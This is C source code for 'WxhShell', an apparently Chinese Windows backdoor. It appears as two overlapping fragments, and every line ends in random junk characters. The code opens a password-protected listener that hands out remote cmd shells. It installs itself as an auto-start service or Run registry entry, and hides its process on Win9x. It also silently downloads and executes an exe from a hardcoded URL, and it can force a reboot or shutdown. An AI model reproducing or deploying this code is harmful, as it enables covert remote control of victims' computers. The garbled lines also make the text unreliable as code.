    else { o=4d2V%m  
    closesocket(wsh); &`0heJ 5Yn  
    ExitThread(0); `QAotSO+  
    } cMI QbBM  
    break; {>>f5o 3  
    } Yc+ /="&z  
  // 获取shell #Z(8 vA^@  
  case 's': { |Zncr9b  
    CmdShell(wsh); T'0Ot3m`  
    closesocket(wsh); dy#dug6j  
    ExitThread(0); [gQ*y~N  
    break; NA!;#!  
  } 5}E8Tl  
  // 退出 VO/" ot  
  case 'x': { ,z<\Z!+=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q?e97a  
    CloseIt(wsh); Hq< Vk.Nk  
    break; DpoRR`  
    } /DJyNf*  
  // 离开 TBvv(_  
  case 'q': { &=xm>;`3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n\ZDI+X  
    closesocket(wsh); ~;3N'o  
    WSACleanup(); 1j9.Q;9  
    exit(1); ie=tM'fb  
    break; IH'DCY:  
        } YSs9BF:a  
  } Ks{^R`O au  
  } X-e)w  
K.dgQ-vn  
  // 提示信息 OtrO"K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GNT1FR  
} w*f.Fu(su  
  } \:'=ccf  
l{E+j%  
  return; 5kofO  
} #xNLr   
ZS4lb=)G  
// shell模块句柄 { P&l`  
int CmdShell(SOCKET sock) LTm2B_+  
{ .UU BAyjm  
STARTUPINFO si; '&xv)tno  
ZeroMemory(&si,sizeof(si)); K\`L>B. 1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mflH&Bx9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !/BXMj,=  
PROCESS_INFORMATION ProcessInfo; ezY _7  
char cmdline[]="cmd"; "'~'xaU!=a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JD^(L~n]  
  return 0; '@3hU|jO!  
} wh<+.Zp  
R]0awV1b  
// 自身启动模式 e3yBB*@  
int StartFromService(void) w<lHY=z E  
{ 3BDAvdJ4.  
typedef struct {r#2X1  
{ q1;}~}W;z4  
  DWORD ExitStatus;  I?.$  
  DWORD PebBaseAddress; 7xb z)FI  
  DWORD AffinityMask; QyuSle  
  DWORD BasePriority; O\,n;oj  
  ULONG UniqueProcessId; [u[F6Wst  
  ULONG InheritedFromUniqueProcessId; l23_K7  
}   PROCESS_BASIC_INFORMATION; /o*r[g7<  
BHy#g>KUF  
PROCNTQSIP NtQueryInformationProcess; 6HW<E~G'6  
`i<;5s!rX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j{C+`~O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?H#]+SpOcv  
np}F [v  
  HANDLE             hProcess; T9osueh4  
  PROCESS_BASIC_INFORMATION pbi; !=;^Grv>  
KDhr.P.~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w*Vf{[a'  
  if(NULL == hInst ) return 0; uHkL$}C  
U+3,(O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cE '`W7&A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >?ZH[A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }eXzs_  
x00"d$!  
  if (!NtQueryInformationProcess) return 0; c{Nk"gEfRA  
O['gp~P"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .cdm@_Ls  
  if(!hProcess) return 0; OW<i"?0  
k6_RJ8I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HeZ! "^w  
}#ZQ\[  
  CloseHandle(hProcess); %3M(!X:[  
t,4q]Jt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \Lv eZ_h5  
if(hProcess==NULL) return 0; lpQsmd#  
~+d?d6*c  
HMODULE hMod; ( 1T2? mO  
char procName[255]; qba<$  
unsigned long cbNeeded; T]l_B2.  
yd2v_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3/RmJ `c{  
;aExEgTq  
  CloseHandle(hProcess); lJP6s k  
6TvlK*<r=  
if(strstr(procName,"services")) return 1; // 以服务启动 e; 5 n.+m  
M:z)uLDw  
  return 0; // 注册表启动 aT$q1!U`j2  
} @C{IgV  
!2s< v  
// 主模块 Nc:, [8{l  
int StartWxhshell(LPSTR lpCmdLine) 6?b 9~xRW  
{ X[\b!<C  
  SOCKET wsl; jbcJ\2  
BOOL val=TRUE; -h%;L5oJ2,  
  int port=0; *|h-iA+9  
  struct sockaddr_in door; <*E{z r&  
a1R2ocC  
  if(wscfg.ws_autoins) Install(); AmNmhcN  
[8l;X:  
port=atoi(lpCmdLine); n|dLK.Q  
2siUpmX  
if(port<=0) port=wscfg.ws_port; Gnop  
!:PF |dZ  
  WSADATA data; FVNxjMm,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =G2D4>q  
S/Pffal  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c+c3C8s*8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <GC<uB |p  
  door.sin_family = AF_INET; OiH tobM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1H`T=:P?  
  door.sin_port = htons(port); w-*$gk]   
^UHt1[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *9 M 5'  
closesocket(wsl); Wly-z$\  
return 1; mO;X>~K  
} t<mT=(zt*  
t$^1A1Ef  
  if(listen(wsl,2) == INVALID_SOCKET) { Z[<rz6%cB  
closesocket(wsl); m:CiXM   
return 1; i$gm/ZO  
} r\Nf309~  
  Wxhshell(wsl); 'yxRz5  
  WSACleanup(); O3WhO@`6)  
0Aw.aQ~E8i  
return 0; :SUPGaUJ"  
0 Po",\^  
} 4vKp341B  
Bh$ hgf.C  
// 以NT服务方式启动 -Zc 6_]F|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RL7OFfMe  
{ %m$TV@  
DWORD   status = 0; cf)2GoV>e  
  DWORD   specificError = 0xfffffff; 0(\ybppx  
S^'?s fq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L)H' g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -L>xVF-|:1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hn\<'|n  
  serviceStatus.dwWin32ExitCode     = 0; fx(^}e  
  serviceStatus.dwServiceSpecificExitCode = 0; =$;i  
  serviceStatus.dwCheckPoint       = 0; 6<jh0=$  
  serviceStatus.dwWaitHint       = 0; 4^vEMq8lB  
;M}'\.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZnSDq_Uk  
  if (hServiceStatusHandle==0) return; VZB T'N  
H'|b$rP0@  
status = GetLastError(); H~UxVQLPp  
  if (status!=NO_ERROR) Njsz=  
{ Tn2nd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?JO x9;`  
    serviceStatus.dwCheckPoint       = 0; :%cL(',Q  
    serviceStatus.dwWaitHint       = 0; ~`)`Ip  
    serviceStatus.dwWin32ExitCode     = status; @9~a3k|  
    serviceStatus.dwServiceSpecificExitCode = specificError; ovJ#2_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !N:!x[5  
    return; g]?&qF}  
  } 4UD<g+|  
:#W40rUb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xp-.,^q\w  
  serviceStatus.dwCheckPoint       = 0; p.^glz>B  
  serviceStatus.dwWaitHint       = 0; ]7 " W(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5W_u|z+/g  
} H1X38  
K0$8t%Z.  
// 处理NT服务事件,比如:启动、停止 ; mnV)8:F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^Uss?)jN4  
{ 17g\XC@ Cl  
switch(fdwControl) S^0Po%d  
{ aC:Sy^Tf  
case SERVICE_CONTROL_STOP: 5q?2?j/h  
  serviceStatus.dwWin32ExitCode = 0; D# |+PG7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $/^DY&  
  serviceStatus.dwCheckPoint   = 0; ~?i;~S  
  serviceStatus.dwWaitHint     = 0; 7pH`"$  
  { (8DJf"}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FG]xn(E  
  } N"Y)  
  return; ?oF+?l  
case SERVICE_CONTROL_PAUSE: EfHo1Yn&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EUH&"8 L  
  break; ^_W+  
case SERVICE_CONTROL_CONTINUE: DZo7T!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0gdFXh$!e  
  break; 88(h`RGMh  
case SERVICE_CONTROL_INTERROGATE: h?E[28QB  
  break; Gq%q x4  
}; [@d$XC]Qz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KP{|xQ>  
} B1dVHz#  
7x` dEi<  
// 标准应用程序主函数 3aIP^I1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y+5nn  
{ 8|k r|l  
kDJ $kv  
// 获取操作系统版本 wGdnv}#  
OsIsNt=GetOsVer(); qW*JB4`?a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BoQLjS{kN  
:xOne<@  
  // 从命令行安装 wG;#L7%  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1OB,UU"S$  
OUCL tn\  
  // 下载执行文件 'p<lfT  
if(wscfg.ws_downexe) { YjaEKM8*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  1@Abs  
  WinExec(wscfg.ws_filenam,SW_HIDE); +vOlA#t%Z  
} w#]> Nf  
/@Qg'Q#  
if(!OsIsNt) { tPu0r],`o  
// 如果时win9x,隐藏进程并且设置为注册表启动 sb"z=4  
HideProc(); So>P)d$8+  
StartWxhshell(lpCmdLine); uY jE)"  
} _IzJxAcJ  
else y+b4s Ff  
  if(StartFromService()) *J[3f]PBmR  
  // 以服务方式启动 CqW:m*c  
  StartServiceCtrlDispatcher(DispatchTable); ?d@3y<A,~  
else #ra"(/)  
  // 普通方式启动 (gN[<QL  
  StartWxhshell(lpCmdLine); *J^l r"%c  
o5=1  
return 0; Q9,H 0r-%  
} e8T#ZWr*  
o!:V=F  
>YP6/w,e  
I(LBc  
=========================================== h| q!Qsnj'  
lAjP'(  
ffMh2   
v4M1uJ8  
=eG?O7z&  
/{Ff)<Q.Z  
" QTZf e<m0  
)1 ]P4  
#include <stdio.h> 4n6EkTa  
#include <string.h> /ZC/yGdIS_  
#include <windows.h> -L%J,f[&,  
#include <winsock2.h> &!/E&e$_  
#include <winsvc.h> Wp2b*B=-  
#include <urlmon.h> },r30`)Q  
F3BWi[Xh  
#pragma comment (lib, "Ws2_32.lib") j1/.3\  
#pragma comment (lib, "urlmon.lib") [[uKakp  
Xvy3D@o  
#define MAX_USER   100 // 最大客户端连接数 [C1 .*Q+l  
#define BUF_SOCK   200 // sock buffer 5]C}044  
#define KEY_BUFF   255 // 输入 buffer QuG=am?l`  
&T7|f!y  
#define REBOOT     0   // 重启 %:61@<  
#define SHUTDOWN   1   // 关机 >`\f,yq l6  
ahezDDR-.i  
#define DEF_PORT   5000 // 监听端口 21(8/F ~{  
hC1CISm.U  
#define REG_LEN     16   // 注册表键长度 zJ-_{GiM*L  
#define SVC_LEN     80   // NT服务名长度 }M3f ?Jv  
: ?K}.Kb  
// 从dll定义API SePPI.n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z4qw*. 5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n*%o!=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rHS;wT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =E{e|(1+u  
6yDc4AX  
// wxhshell配置信息 pwj?  
struct WSCFG { w5j6RQml  
  int ws_port;         // 监听端口 *g0}pD;r  
  char ws_passstr[REG_LEN]; // 口令 %V40I{1  
  int ws_autoins;       // 安装标记, 1=yes 0=no g&z)y  
  char ws_regname[REG_LEN]; // 注册表键名 Z0o+&3a6  
  char ws_svcname[REG_LEN]; // 服务名 7Jm&z/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <i~O0f]   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OnD!*jy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (_:k s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h8R3N?S3#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R$[nYw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XwI~ 0  
~ ^)D#Lo  
}; xZmO^F5KHj  
G)p pkH`qj  
// default Wxhshell configuration r'!HWR  
struct WSCFG wscfg={DEF_PORT, E cS+/  
    "xuhuanlingzhe", q?R)9E$h  
    1, X5s.F%Np!  
    "Wxhshell", &Z kY9XO  
    "Wxhshell", JCL+uEX4S  
            "WxhShell Service", h6Femis  
    "Wrsky Windows CmdShell Service", /(/Z~J[  
    "Please Input Your Password: ", d! BQ%a  
  1, C!]R0L*  
  "http://www.wrsky.com/wxhshell.exe", KyQO>g{R  
  "Wxhshell.exe" JnC$}amr  
    }; /O,>s  
,'FH[2  
// 消息定义模块 G9`;Z^<L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i5f8}`w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tyEa5sy4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (s:ihpI  
char *msg_ws_ext="\n\rExit."; cr}T ? $\K  
char *msg_ws_end="\n\rQuit."; v|\<N!g  
char *msg_ws_boot="\n\rReboot..."; (lNV\Za  
char *msg_ws_poff="\n\rShutdown..."; B =EI&+F+  
char *msg_ws_down="\n\rSave to "; |rjHH<  
rV yw1D  
char *msg_ws_err="\n\rErr!"; uL\b*rI  
char *msg_ws_ok="\n\rOK!"; jkTh)Bm|'  
P}YtT3. K  
char ExeFile[MAX_PATH]; *u?QO4>  
int nUser = 0; 2#<)-Cak  
HANDLE handles[MAX_USER]; kTC'`xv  
int OsIsNt; :K:oH}4oh  
:htz]  
SERVICE_STATUS       serviceStatus; bc+~g>o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JbV\eE#KrC  
(d> M/x?W  
// 函数声明 cRR[ci34k  
int Install(void); {6_M$"e.  
int Uninstall(void); 8R3x74fL  
int DownloadFile(char *sURL, SOCKET wsh); pUGFQ."\  
int Boot(int flag); W6e,S[J^FY  
void HideProc(void); i~};5j(  
int GetOsVer(void); ]lX`[HX7  
int Wxhshell(SOCKET wsl); (-<s[VnXP  
void TalkWithClient(void *cs); Y/%(4q*'  
int CmdShell(SOCKET sock); GnX+.uQL|  
int StartFromService(void); jTR>H bh  
int StartWxhshell(LPSTR lpCmdLine); 3MmpB9l#H  
(D\7EH\9,]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n@TK}?\UoR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Su4&qY  
Aof)WKo  
// 数据结构和表定义 $;4y2?E  
SERVICE_TABLE_ENTRY DispatchTable[] = \ F\ /<  
{ e_<'zH_1  
{wscfg.ws_svcname, NTServiceMain}, \?$`dA[  
{NULL, NULL} ;\N )RZ  
}; Rm&^[mv  
Z[ NO`!<  
// 自我安装 ;S&PLgZ  
int Install(void) mp !S<m  
{ .S5%Qa [uW  
  char svExeFile[MAX_PATH]; ^"\3dfzKM  
  HKEY key; B4D#T lB  
  strcpy(svExeFile,ExeFile); VW$a(G_h  
1Fg*--8[r  
// 如果是win9x系统,修改注册表设为自启动 A^2n i=b  
if(!OsIsNt) { 7J[DD5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .83{NF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Cr7T=&L  
  RegCloseKey(key); 6YHQ/#'G~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OV"uIY[%8V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $fzO:br5WJ  
  RegCloseKey(key); rexNsKRK_  
  return 0; 'bd|Oww1u  
    } Qm"&=<  
  } hf JeVT-/v  
} +HXR ))X  
else { 8opd0'SNaB  
rW P -Rm  
// 如果是NT以上系统,安装为系统服务 18HmS>Qo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A2 r\=for  
if (schSCManager!=0) eT'Z;ZO  
{ *=2sXH1j  
  SC_HANDLE schService = CreateService Uh w:XV@m  
  ( f`gs/R  
  schSCManager, qk{+Y  
  wscfg.ws_svcname, @W1F4HYds  
  wscfg.ws_svcdisp, 2Y7u M;8  
  SERVICE_ALL_ACCESS, N|rB~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , baO'FyCs9&  
  SERVICE_AUTO_START, 9cnLf#  
  SERVICE_ERROR_NORMAL, yrF"`/zv6|  
  svExeFile, SSAf<44e  
  NULL, ^H(,^cVN  
  NULL, ^vY[d]R _\  
  NULL, +%~/~1  
  NULL, q:/3uC7   
  NULL ^[6S]Ft(  
  ); SWLt5dV  
  if (schService!=0) iW9o-W a  
  { fvi8+3A&  
  CloseServiceHandle(schService); 4lF(..Ix  
  CloseServiceHandle(schSCManager); rqi/nW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FK+`K<  
  strcat(svExeFile,wscfg.ws_svcname); s=H| ^v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8#{DBWU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _C%:AFPP>  
  RegCloseKey(key); c+:XaDS-  
  return 0; )ppIO"\  
    } c-y`Hm2"  
  } '@{Mq%`  
  CloseServiceHandle(schSCManager); k d9<&.y{  
} fZtuP1- 4  
} k0v&U@+-J  
fe4Ki  
return 1; TF %MO\!  
} ;{Nc9d  
|[W7&@hF  
// 自我卸载 ccY! OSae  
int Uninstall(void) :Ldx^UO  
{ 0@tN3u?dx  
  HKEY key; v;o/M6GL5  
(3Dz'X  
if(!OsIsNt) { o()No_.8H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d=DQS>Nz  
  RegDeleteValue(key,wscfg.ws_regname); VsQ~Y,7  
  RegCloseKey(key); Fz{T;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NiSH$ MJ_  
  RegDeleteValue(key,wscfg.ws_regname); [vTk*#Cl4  
  RegCloseKey(key); ~wFiq)v(  
  return 0; 7t3ps  
  } DLH|y%"  
} vACJE  
} \(&UDG$  
else { GWa:C\YK  
?0x=ascP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [:(hqi!  
if (schSCManager!=0) .z, ot|  
{ xl ]1TB@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d#CAP9n;'  
  if (schService!=0) &e \UlM22  
  { X.GK5Phd  
  if(DeleteService(schService)!=0) { uZml.#@4  
  CloseServiceHandle(schService); phi9/tO\u  
  CloseServiceHandle(schSCManager); z'9U.v'M)  
  return 0; +`f3_Xd  
  } <lgX=wx L  
  CloseServiceHandle(schService); vLs*}+f  
  } c->.eL%   
  CloseServiceHandle(schSCManager); (b8ZADI*  
} :pdl2#5H^  
} 85_Qb2<'r  
(3?W) i  
return 1; n.7-$1  
} &&ZX<wOM  
dCA! R"HD  
// 从指定url下载文件 X#k:J  
int DownloadFile(char *sURL, SOCKET wsh) g `(3r  
{ c<ORmg6  
  HRESULT hr; dwqR,|  
char seps[]= "/"; a];1)zVA6  
char *token; Ku?1QDhrF*  
char *file; rcz9\@M  
char myURL[MAX_PATH]; vMzBp#MT  
char myFILE[MAX_PATH]; slQEAqG)B  
_>E=.$  
strcpy(myURL,sURL); @y2cC6+'t  
  token=strtok(myURL,seps); fb8)jd'~}O  
  while(token!=NULL) !;Vqs/E  
  { X?.tj Z,  
    file=token; w/e?K4   
  token=strtok(NULL,seps); x c|1?AFj  
  } E5yn,-GyE0  
J^-a@' `+  
GetCurrentDirectory(MAX_PATH,myFILE); 4hx4/5[^  
strcat(myFILE, "\\"); 6 w4HJZF~  
strcat(myFILE, file); )lU9\"?o  
  send(wsh,myFILE,strlen(myFILE),0); @^.o8+Pp  
send(wsh,"...",3,0); DN;|?oNZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <DN7  
  if(hr==S_OK) _9y! ,ST  
return 0; DMA`Jx  
else 7$mB.\|  
return 1; @rS(3wu_&  
7U!-_)n{  
} U%n>(!d  
>U)>~SQf  
// 系统电源模块 P~;1adi3  
int Boot(int flag) "hnvND4=  
{ /\MkH\zg  
  HANDLE hToken; .=zBUvy  
  TOKEN_PRIVILEGES tkp; lS]6Sk Z6  
/vI"v 4  
  if(OsIsNt) { k8b5~A,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0ev='v8?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); av bup  
    tkp.PrivilegeCount = 1; j&[u$P*K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~KczP1p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bwI"V&*  
if(flag==REBOOT) { +ryB*nT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M'VJE|+t  
  return 0; _UV_n!R  
} O1 !YHo  
else { mD%IHzbn H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [Z^26/5a  
  return 0; 7Vu f4Z5  
} ~ga WZQXyu  
  } iB5q"hoZC  
  else { KQ^|prN?y  
if(flag==REBOOT) { .hJcK/m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]&s@5<S[  
  return 0; *M.,Yoj  
} n#sK31;yb  
else { QO:Z8{21So  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J:@yG1VIp  
  return 0; mqbCa6>_S  
} |I;]fH,+  
} 4K ]*bF44  
$>T(31)c  
return 1; &eb8k2S  
} s>)?MB*vb  
h; 6G~D  
// win9x进程隐藏模块 fw5+eTQ^  
void HideProc(void) vSR5F9  
{ mkq246<D~  
mWU d-|Ul  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h]vEXWpG]  
  if ( hKernel != NULL ) :!^NjO  
  { ^r,0aNzAs  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 97/ 4J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EQQ@nW{;  
    FreeLibrary(hKernel); xd\ml 37~  
  } RXw1HRR$V  
1bjz :^  
return; CF:L#r  
} _sn<"B%>  
jO9! :L>b`  
// 获取操作系统版本 nNeCi  
int GetOsVer(void) ,~/WYw<o  
{ NKc<nYdK?  
  OSVERSIONINFO winfo; (*kKfg4Wj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nd$92H  
  GetVersionEx(&winfo); luW"|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /|3~LvIt=  
  return 1; 4C )sjk?m  
  else 3Kc9*]D  
  return 0; U'u_'5 {  
} ~NB|BwAh  
CM7NdK?I  
// 客户端句柄模块 \58bz<u"  
int Wxhshell(SOCKET wsl) hhz#I A6,  
{ ss6{+@,  
  SOCKET wsh; ky&wv+7  
  struct sockaddr_in client; bk&kZI.D  
  DWORD myID; #=)!\   
dc0&*/`:  
  while(nUser<MAX_USER) ^rd%{ 6m  
{ K{,'%|  
  int nSize=sizeof(client); Vl3-cW@p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z>l|R C  
  if(wsh==INVALID_SOCKET) return 1; @6Lp $w  
~dzD7lG6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]~~G<Yh:=  
if(handles[nUser]==0) g W_E  
  closesocket(wsh); t/_\w"  
else =[zP  
  nUser++; ^nK7&]rK  
  } DWEDL[{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KoA+Vv9  
7w]3D  
  return 0; N|%r5%  
} =k,?+h~  
:iGK9I  
// 关闭 socket ,N;2"$+E  
void CloseIt(SOCKET wsh) dkY JO!  
{ j5og}P q:  
closesocket(wsh); It<VjN9  
nUser--; bxzx@sF2l  
ExitThread(0); HAo=t  
} 'nq~1 >i  
w~&#:F?  
// 客户端请求句柄 6(x53 y__  
void TalkWithClient(void *cs) ;Qi!~VsP;  
{ vxug>2  
=qbN?a/?2  
  SOCKET wsh=(SOCKET)cs; Ya> AI.!K  
  char pwd[SVC_LEN]; }/#*opcv  
  char cmd[KEY_BUFF]; n).*=YLN  
char chr[1]; KUq7Oa !  
int i,j; )wXE\$  
cLRzm9  
  while (nUser < MAX_USER) { u+ hRaI;v  
.C &kWM&j  
if(wscfg.ws_passstr) { oRJ!TAbD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hS*&p0YV~M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]Yf^O @<<>  
  //ZeroMemory(pwd,KEY_BUFF); cM CM>*X  
      i=0; *&\6x}.I4  
  while(i<SVC_LEN) { cr|]\  
Jw#7b[a  
  // 设置超时 ,0ilNi>  
  fd_set FdRead; &5.J y2hO]  
  struct timeval TimeOut; "q1S.3V;  
  FD_ZERO(&FdRead); 4[&&E7]EX  
  FD_SET(wsh,&FdRead); UbGnU_}  
  TimeOut.tv_sec=8; XR 3 dG:  
  TimeOut.tv_usec=0; >I<}:=   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I3b*sx$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uMpuS1  
+IWf~|s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K :kb&W  
  pwd=chr[0]; p_%,JD  
  if(chr[0]==0xd || chr[0]==0xa) { SAj#+_db  
  pwd=0; cN FHbMd  
  break; jKo9y  
  } H "5,To  
  i++; o3eaNYa  
    } b|@zjh;]A7  
ZHUW1:qs  
  // 如果是非法用户,关闭 socket /R?[/`)f&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nP<u.{q L  
} <L11s%5-  
/hmDeP o}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~-y&C%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sa _J6~  
PkZ1Db  
while(1) { U$y wO4.  
T8)X?>CIW  
  ZeroMemory(cmd,KEY_BUFF); ]~VuY:abH  
-QR]BD%J*[  
      // 自动支持客户端 telnet标准   Qx3eEt@X5]  
  j=0; !`4ie  
  while(j<KEY_BUFF) { 1RX-`"^+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )db:jPkwd  
  cmd[j]=chr[0]; V~ MsGj  
  if(chr[0]==0xa || chr[0]==0xd) { -3 ANNj  
  cmd[j]=0; &j ; 91wEn  
  break; 7E#h(bt j  
  } ^i2>Ax&T  
  j++; EVBOubV  
    } F|y0q:U  
'Z=_zG/RX  
  // 下载文件 vM]5IHqeE  
  if(strstr(cmd,"http://")) { c HR*.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E.sZjo1  
  if(DownloadFile(cmd,wsh)) -q[x"Ha%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mxBx?xM-  
  else WNb2"W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \x:U`T  
  } gdoaXw;Sy  
  else { lZe-A/E  
9o6[4Q}  
    switch(cmd[0]) { GUD]sXSj  
  W8u&5#$I  
  // 帮助 w1(5,~OB  
  case '?': { `8#xO{B1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S 1^t;{"  
    break; g.blDOmlc  
